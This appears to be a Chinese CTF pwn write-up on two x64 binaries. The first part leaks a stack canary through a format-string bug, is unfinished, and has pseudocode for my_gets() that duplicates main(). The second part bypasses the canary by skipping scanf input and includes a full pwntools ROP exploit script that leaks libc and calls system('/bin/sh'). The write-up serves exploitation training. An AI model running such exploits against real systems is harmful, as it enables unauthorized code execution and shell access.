t1(格式化字符串泄露canary)
拖到Ghidra里, 伪代码如下:
//...
//main()
local_10 = *(long *)(in_FS_OFFSET + 0x28);
setbuf(stdin,(char *)0x0);
setbuf(stdout,(char *)0x0);
puts("Give me your name:");
my_gets(local_18,8);
printf(local_18);
puts("your content:");
read(0,local_18,0x400);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
//my_gets()
local_10 = *(long *)(in_FS_OFFSET + 0x28);
setbuf(stdin,(char *)0x0);
setbuf(stdout,(char *)0x0);
puts("Give me your name:");
my_gets(local_18,8);
printf(local_18);
puts("your content:");
read(0,local_18,0x400);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
//....
有一个printf
, 还有一个自定义的my_gets
. 可以先利用"格式化字符串"漏洞打印出来canary的值, 再利用下面那个gets()实现栈溢出,溢出时不要忘了在canary的地方放上canary的值即可.
此外, 还得利用设法打印出puts的got地址, 再计算出system的got地址.
先要泄露canary地址,gdb.attach(p)在栈上找下偏移。这里还有一个不同,x64相对于x32多了几个寄存器,rdi,rsi,sdx,rcx,r8,r9,rdi是格式化字符串,%1
plt.puts 是%7$x
.....
To be continue
t2(scanf跳过覆写canary)
拖到Ghidra里, 伪代码如下:
//....
long in_FS_OFFSET;
int local_6c;
undefined local_68 [88]; //canary
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("Hi");
for (local_6c = 0; local_6c < 20; local_6c = local_6c + 1) {
__isoc99_scanf("%lld",local_68 + (long)local_6c * 8);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { //canary
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
//....
有canary, 但是scanf
是按照8字节为单位, 一个个读取输入的, 因此可以设法略过对canary的覆盖: 先略过(0x60 - 0x10)/8 + 1 次scanf
, 刚好跳过canary. 再略过一次scanf
, 跳过ebp
. 再即可覆写rip
, 总共略过12次.*
经查询资料, 用"+"可以略过scanf
.
exp.py如下:
#coding:utf8
from pwn import *
from LibcSearcher import *
#canary: rbp - 0x10
#buffer: rbp - 0x60
elf=ELF('./t2');
putgot=elf.got['puts'];
putaddr=elf.sym['puts'];
mainaddr=0x004005f6;
popedi=0x004006d3;
p=process('./t2');
amount = 20;
counter = 0;
for i in range(13):
p.sendline("+");
counter = counter + 1;
#这个payload用于泄露puts位于libc的地址
#popedi将puts的地址加载到edi中,用于传给put输出显示
#mainaddr为覆盖eip,这样我们又可以重新执行main函数了
payload = [ str(popedi), str(putgot), str(putaddr), str(mainaddr) ]
for v in payload:
p.sendline(v);
counter = counter+1;
while counter <= amount:
p.sendline(str(0x0));
counter = counter + 1;
counter = 0;
p.recvuntil('Hi\n');
#注意,这步很重要,必须要去掉末尾的\n符号
s=p.recv()
s=s.split(b'\n')[0];
#凑足长度8
#for i in range(len(s),8):s=s+'\x00';
#得到read的地址
addr = int.from_bytes(s, 'little');
print('0x%x'%addr);
#libc数据库查询
obj=LibcSearcher("puts",addr);
#得到libc加载地址
libc_base=addr-obj.dump('puts');
#获得system地址
system_addr=obj.dump("system")+libc_base;
#获得/bin/sh地址
binsh_addr=obj.dump("str_bin_sh")+libc_base;
binsh_addr = binsh_addr - 4; # 这里我也不知道为什么要-4, 不-4就是/sh, -4就是/bin/sh
print('0x%x'%system_addr);
print('0x%x'%binsh_addr);
#此时缓冲区里貌似是有东西? 所以scanf后自动执行一次
counter = counter + 1;
for i in range(12):
p.sendline("+");
counter = counter + 1;
#这个payload用于泄露puts位于libc的地址
#popedi将puts的地址加载到edi中,用于传给put输出显示
#mainaddr为覆盖rip,这样我们又可以重新执行main函数了
payload = [ str(popedi), str(binsh_addr), str(system_addr), str(mainaddr) ]
for v in payload:
p.sendline(str(v));
counter = counter+1;
while counter <= amount:
p.sendline(str(0x0));
counter = counter + 1;
p.interactive()